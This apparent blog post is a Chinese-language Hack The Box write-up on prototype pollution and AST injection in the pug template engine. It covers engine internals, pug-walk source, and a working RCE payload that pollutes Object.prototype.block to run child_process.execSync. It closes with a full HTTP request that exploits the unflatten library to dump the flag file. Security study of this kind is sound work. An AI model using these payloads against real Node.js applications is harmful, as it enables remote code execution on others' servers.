最近在做 HTB 的题目时,遇到了一道 pug 模板注入的题,顺带学习一下 js web 中可能遇到的安全问题:AST Injection 。
模板引擎
Js web 开发中常用的模板引擎:ejs、pug、handlebars 等,都是用于动态渲染 HTML 元素,从而复用页面结构,减少代码量的工具。
简单使用
ejs
安装 ejs 模块
npm install ejs
Hello world
const ejs = require('ejs')
const tmpl = `
<!DOCTYPE html>
<html lang="en">
<body>
<h1>Hello, <%= username%>!</h1>
</body>
</html>
`
const data = { username: 'admin' }
const html = ejs.render(tmpl, data)
console.log(html)
pug
安装 pug
npm install pug
Hello world
const pug = require('pug')
const tmpl = `
<!DOCTYPE html>
<html lang="en">
<body>
<h1>Hello, #{ username }!</h1>
</body>
</html>
`
const compiledTmpl = pug.compile(tmpl)
const data = { username: 'admin' }
const html = compiledTmpl(data)
console.log(html)
handlebars
安装 handlebars
npm install handlebars
Hello world
const handlebars = require('handlebars')
const tmpl = `
<!DOCTYPE html>
<html lang="en">
<body>
<h1>Hello, {{ username }}!</h1>
</body>
</html>
`
const compiledTmpl = handlebars.compile(tmpl)
const data = { username: 'admin' }
const html = compiledTmpl(data)
console.log(html)
工作原理
模板引擎实际上就是一个编译器,通过解析编写的模板语言,编译出新的 js 代码,然后再渲染执行。流程图如下:
在进行语法分析,即构造 AST 语法树的过程中,会有大量的节点操作,包括赋值、循环等,从网上查询资料可知,大部分模板引擎对于这部分的写法大都如下:
attrs[name] = attrs[value]
if (ast.block) {
}
for (var i in node) {
}
存在问题
按照以上的写法,就存在以下问题:
attrs[name] = attrs[value]
:赋值操作未判断对应的属性是否为对象自身的属性,导致访问到原型链的 Object.prototype
的属性。
if(ast.block)
:判断某个属性是否存在,未判断是否为对象自身属性是否存在,若存在原型链污染,则可以进入if判断。
for(var i in node)
:遍历对象的所有可枚举属性,包括原型链上的属性。
以上问题可表现如下:
let obj = {'a': 1, 'b': 2}
obj.__proto__.c = 3;
for (let i in obj) {
console.log(obj[i]);
}
这样一来,如果代码中存在原型链污染,就可以随意地修改 AST 树,进而影响最终生成的代码,造成 XSS 或者 RCE 。
pug AST Injection
例子
const pug = require('pug')
// 原型链污染
Object.prototype.block = {'type': 'Text', 'val': `<script>console.log("Code Injection!")</script>`}
// 模板编译
const tmpl = `<h1>#{ msg }</h1>`
const comp = pug.compile(tmpl)
const html = comp({msg: 'It work!'})
console.log(html)
这里就是通过原型链污染影响了 AST 树的生成过程,进而注入代码的效果。
流程分析
在 const comp = pug.compile(tmpl)
处打断点,跟进调试:
进入 compile
之后,这里本质上是进入了一个匿名函数,通过原型链污染注入了想要执行的代码:
尝试打印出 pug 模板引擎对这段模板编译时生成的 AST 树,跟进到 node_modules/pug/lib/index.js#compileBody
:
{
"type": "Block",
"nodes": [{
"type": "Text",
"val": "<h1>",
"line": 1,
"column": 1,
"isHtml": true
}, {
"type": "Code",
"val": " msg ",
"buffer": true,
"mustEscape": true,
"isInline": true,
"line": 1,
"column": 5,
"block": {
"type": "Text",
"val": "<script>console.log(\"Code Injection!\")</script>"
}
}, {
"type": "Text",
"val": "</h1>",
"line": 1,
"column": 13,
"isHtml": true
}],
"line": 0
}
AST 树生成之后,会接着进入到 node_modules/pug-walk/index.js#walkAST
,处理树上的每个节点:
function walkAST(ast, before, after, options) {
if (after && typeof after === 'object' && typeof options === 'undefined') {
options = after;
after = null;
}
options = options || {includeDependencies: false};
var parents = (options.parents = options.parents || []);
var replace = function replace(replacement) {
if (Array.isArray(replacement) && !replace.arrayAllowed) {
throw new Error(
'replace() can only be called with an array if the last parent is a Block or NamedBlock'
);
}
ast = replacement;
};
replace.arrayAllowed =
parents[0] &&
(/^(Named)?Block$/.test(parents[0].type) ||
(parents[0].type === 'RawInclude' && ast.type === 'IncludeFilter'));
if (before) {
var result = before(ast, replace);
if (result === false) {
return ast;
} else if (Array.isArray(ast)) {
// return right here to skip after() call on array
return walkAndMergeNodes(ast);
}
}
parents.unshift(ast);
switch (ast.type) {
case 'NamedBlock':
case 'Block':
ast.nodes = walkAndMergeNodes(ast.nodes);
break;
case 'Case':
case 'Filter':
case 'Mixin':
case 'Tag':
case 'InterpolatedTag':
case 'When':
case 'Code':
case 'While':
if (ast.block) {
ast.block = walkAST(ast.block, before, after, options);
}
break;
case 'Each':
if (ast.block) {
ast.block = walkAST(ast.block, before, after, options);
}
if (ast.alternate) {
ast.alternate = walkAST(ast.alternate, before, after, options);
}
break;
case 'EachOf':
if (ast.block) {
ast.block = walkAST(ast.block, before, after, options);
}
break;
case 'Conditional':
if (ast.consequent) {
ast.consequent = walkAST(ast.consequent, before, after, options);
}
if (ast.alternate) {
ast.alternate = walkAST(ast.alternate, before, after, options);
}
break;
case 'Include':
walkAST(ast.block, before, after, options);
walkAST(ast.file, before, after, options);
break;
case 'Extends':
walkAST(ast.file, before, after, options);
break;
case 'RawInclude':
ast.filters = walkAndMergeNodes(ast.filters);
walkAST(ast.file, before, after, options);
break;
case 'Attrs':
case 'BlockComment':
case 'Comment':
case 'Doctype':
case 'IncludeFilter':
case 'MixinBlock':
case 'YieldBlock':
case 'Text':
break;
case 'FileReference':
if (options.includeDependencies && ast.ast) {
walkAST(ast.ast, before, after, options);
}
break;
default:
throw new Error('Unexpected node type ' + ast.type);
break;
}
parents.shift();
after && after(ast, replace);
return ast;
function walkAndMergeNodes(nodes) {
return nodes.reduce(function(nodes, node) {
var result = walkAST(node, before, after, options);
if (Array.isArray(result)) {
return nodes.concat(result);
} else {
return nodes.concat([result]);
}
}, []);
}
}
结合刚才打印出来的 AST 语法树,在 walkAST
函数中,执行的顺序如下:
Block -> Text -> Code -> Text -> Text ...
在解析到 Code
类型时,会执行下面的代码:
判断当前节点的 ast.block
属性,如果存在,则递归解析 block
。
如果某个地方存在原型链污染,使得:
Object.prototype.block = {'type': 'Text', 'val': `<script>console.log("Code Injection!")</script>`}
那么,但引擎解析执行到 if (ast.block)
时,就会访问到 ast.__proto__.block
即 Object.prototype.block
,这样恶意代码就被注入到了 AST 树中,可造成 XSS 或 RCE。
RCE
根据上面的分析,pug 模板引擎在编译生成 AST 树的过程中,可以通过原型链污染注入代码,如果能够通过构造注入 AST ,插入一个新的节点,使其成为新的 Js 代码,自然也就可以实现 RCE 了。
在 node_modules/pug-code-gen/index.js#visit
中,存在以下代码:
这里就可以通过原型链污染 node.line
,实现代码的注入。
构造 payload 如下:
Object.prototype.block = {"type":"Text","line":`console.log(process.mainModule.require('child_process').execSync('whoami').toString())`};
成功实现 RCE 。
题目解析
回到 HTB 的这道题目:
下载题目附件之后进行代码审计:
在 routes/index.js
中:
首先使用了 unflatten
来解析请求体中的参数,然后使用 pug.compile
进行模板编译。
unflatten
这个库是存在原型链污染漏洞的,结合上面分析的 pug
AST 注入,满足 RCE 的条件。构造 payload 如下:
POST /api/submit HTTP/1.1
Content-Type: application/json
Host: 94.237.48.79:43586
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0
Content-Length: 23
{
"artist.name":"Haigh",
"__proto__.block": {
"type": "Text",
"line": "console.log(process.mainModule.require('child_process').execSync('cat /app/flag* > /app/static/flag.txt').toString())"
}
}
然后访问 /static/flag.txt
即可: